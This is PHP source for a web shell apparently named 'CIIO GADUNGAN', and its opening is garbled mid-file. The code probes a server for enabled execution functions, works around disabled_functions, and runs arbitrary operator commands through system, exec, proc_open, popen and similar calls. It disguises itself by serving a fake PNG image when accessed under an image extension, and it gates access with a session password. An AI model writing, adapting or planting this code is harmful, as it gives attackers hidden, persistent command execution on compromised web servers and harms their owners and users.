Method:
========================================
#!/usr/bin/env php php_version = phpversion(); $this->detect_server_type(); $this->scan_supported_functions(); $this->determine_best_method(); } private function detect_server_type() { $server_software = $_SERVER['SERVER_SOFTWARE'] ?? ''; if (stripos($server_software, 'apache') !== false) $this->server_type = 'apache'; elseif (stripos($server_software, 'nginx') !== false) $this->server_type = 'nginx'; elseif (stripos($server_software, 'litespeed') !== false) $this->server_type = 'litespeed'; elseif (stripos($server_software, 'iis') !== false) $this->server_type = 'iis'; elseif (stripos($server_software, 'openresty') !== false) $this->server_type = 'openresty'; else $this->server_type = 'unknown'; } private function scan_supported_functions() { $disabled = explode(',', ini_get('disable_functions')); $functions_to_check = ['system', 'exec', 'shell_exec', 'passthru', 'proc_open', 'popen', 'curl_exec', 'file_get_contents']; foreach ($functions_to_check as $func) { if (function_exists($func) && !in_array($func, $disabled)) { $this->supported_functions[] = $func; } } } private function determine_best_method() { $priority = ['system', 'passthru', 'exec', 'shell_exec', 'proc_open', 'popen']; foreach ($priority as $method) { if (in_array($method, $this->supported_functions)) { $this->best_method = $method; break; } } // Fallback methods if (!$this->best_method) { if (function_exists('curl_exec')) $this->best_method = 'curl'; elseif (function_exists('file_get_contents')) $this->best_method = 'http'; else $this->best_method = 'none'; } } public function get_support_info() { return [ 'php_version' => $this->php_version, 'server_type' => $this->server_type, 'supported_functions' => $this->supported_functions, 'best_method' => $this->best_method, 'can_execute' => $this->best_method !== 'none', 'disabled_functions' => ini_get('disable_functions'), 'open_basedir' => ini_get('open_basedir') ?: 'none', 'safe_mode' => ini_get('safe_mode') ? 'ON' : 'OFF' ]; } public function execute($cmd) { switch ($this->best_method) { case 'system': ob_start(); system($cmd); return ob_get_clean(); case 'passthru': ob_start(); passthru($cmd); return ob_get_clean(); case 'exec': exec($cmd, $output); return implode("\n", $output); case 'shell_exec': return shell_exec($cmd); case 'proc_open': $descriptors = [['pipe','r'], ['pipe','w'], ['pipe','w']]; $proc = proc_open($cmd, $descriptors, $pipes); if (is_resource($proc)) { $output = stream_get_contents($pipes[1]); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($proc); return $output; } return false; case 'popen': $handle = popen($cmd, 'r'); $output = stream_get_contents($handle); pclose($handle); return $output; case 'curl': $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $cmd); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, false); $output = curl_exec($ch); curl_close($ch); return $output; default: return "[!] No execution method available on this server!"; } } } // ===================== IMAGE SHELL HANDLER ===================== class ImageShell { private $detector; private $is_image_mode = false; public function __construct() { $this->detector = new EnvironmentDetector(); $this->is_image_mode = $this->detect_image_mode(); } private function detect_image_mode() { // Check if accessed as image $extensions = ['jpg', 'jpeg', 'png', 'gif', 'ico', 'bmp', 'webp']; $script_name = $_SERVER['SCRIPT_NAME'] ?? ''; foreach ($extensions as $ext) { if (stripos($script_name, ".{$ext}") !== false) { return true; } } // Check for image headers if (isset($_SERVER['HTTP_ACCEPT']) && stripos($_SERVER['HTTP_ACCEPT'], 'image/') !== false) { return true; } return false; } public function serve_as_image() { if (!$this->is_image_mode) return false; // Create fake image $width = 1; $height = 1; $image = imagecreatetruecolor($width, $height); $color = imagecolorallocate($image, 0, 0, 0); imagefill($image, 0, 0, $color); header('Content-Type: image/png'); header('Content-Disposition: inline; filename="shell.png"'); header('Cache-Control: no-cache, no-store, must-revalidate'); imagepng($image); imagedestroy($image); // Embed shell code in image comment $shell_data = base64_encode(json_encode([ 'url' => $_SERVER['SCRIPT_NAME'], 'auth' => md5($password), 'time' => time() ])); // Add as EXIF comment echo "\n\n"; return true; } public function get_compatibility_report() { $info = $this->detector->get_support_info(); $report = []; $report[] = "╔════════════════════════════════════════════════════════════╗"; $report[] = "║ CIIO GADUNGAN - COMPATIBILITY REPORT ║"; $report[] = "╠════════════════════════════════════════════════════════════╣"; $report[] = "║ PHP Version : " . str_pad($info['php_version'], 40) . "║"; $report[] = "║ Server Type : " . str_pad($info['server_type'], 40) . "║"; $report[] = "║ Best Method : " . str_pad($info['best_method'], 40) . "║"; $report[] = "║ Can Execute : " . str_pad($info['can_execute'] ? 'YES' : 'NO', 40) . "║"; $report[] = "║ Safe Mode : " . str_pad($info['safe_mode'], 40) . "║"; $report[] = "║ Open Basedir : " . str_pad(substr($info['open_basedir'], 0, 37), 40) . "║"; $report[] = "╠════════════════════════════════════════════════════════════╣"; $report[] = "║ Supported Functions: ║"; $func_line = ""; foreach ($info['supported_functions'] as $func) { if (strlen($func_line . $func) > 45) { $report[] = "║ " . str_pad($func_line, 45) . "║"; $func_line = $func . ", "; } else { $func_line .= $func . ", "; } } if ($func_line) { $report[] = "║ " . str_pad(rtrim($func_line, ', '), 45) . "║"; } $report[] = "╠════════════════════════════════════════════════════════════╣"; $report[] = "║ Disabled Functions: ║"; $disabled = explode(',', $info['disabled_functions']); $disabled_line = ""; foreach ($disabled as $func) { $func = trim($func); if ($func && strlen($disabled_line . $func) > 45) { $report[] = "║ " . str_pad($disabled_line, 45) . "║"; $disabled_line = $func . ", "; } elseif ($func) { $disabled_line .= $func . ", "; } } if ($disabled_line) { $report[] = "║ " . str_pad(rtrim($disabled_line, ', '), 45) . "║"; } $report[] = "╚════════════════════════════════════════════════════════════╝"; return implode("\n", $report); } } // ===================== SESSION & AUTH ===================== session_name('cg_img_shell'); session_start(); function check_auth() { global $password; if (isset($_POST['auth_pass']) && (md5($_POST['auth_pass']) === md5($password) || $_POST['auth_pass'] === $password)) { $_SESSION['cg_auth'] = true; $_SESSION['cg_ip'] = $_SERVER['REMOTE_ADDR']; return true; } return isset($_SESSION['cg_auth']) && $_SESSION['cg_auth'] === true; } if (isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } // ===================== MAIN EXECUTION ===================== $image_shell = new ImageShell(); // Serve as image if in image mode if ($image_shell->serve_as_image()) { exit; } // Compatibility check if (isset($_GET['check_support'])) { header('Content-Type: text/plain'); echo $image_shell->get_compatibility_report(); exit; } // Login required if (!check_auth()) { // Image mode login page (minimal) if ($image_shell->serve_as_image()) { exit; } ?>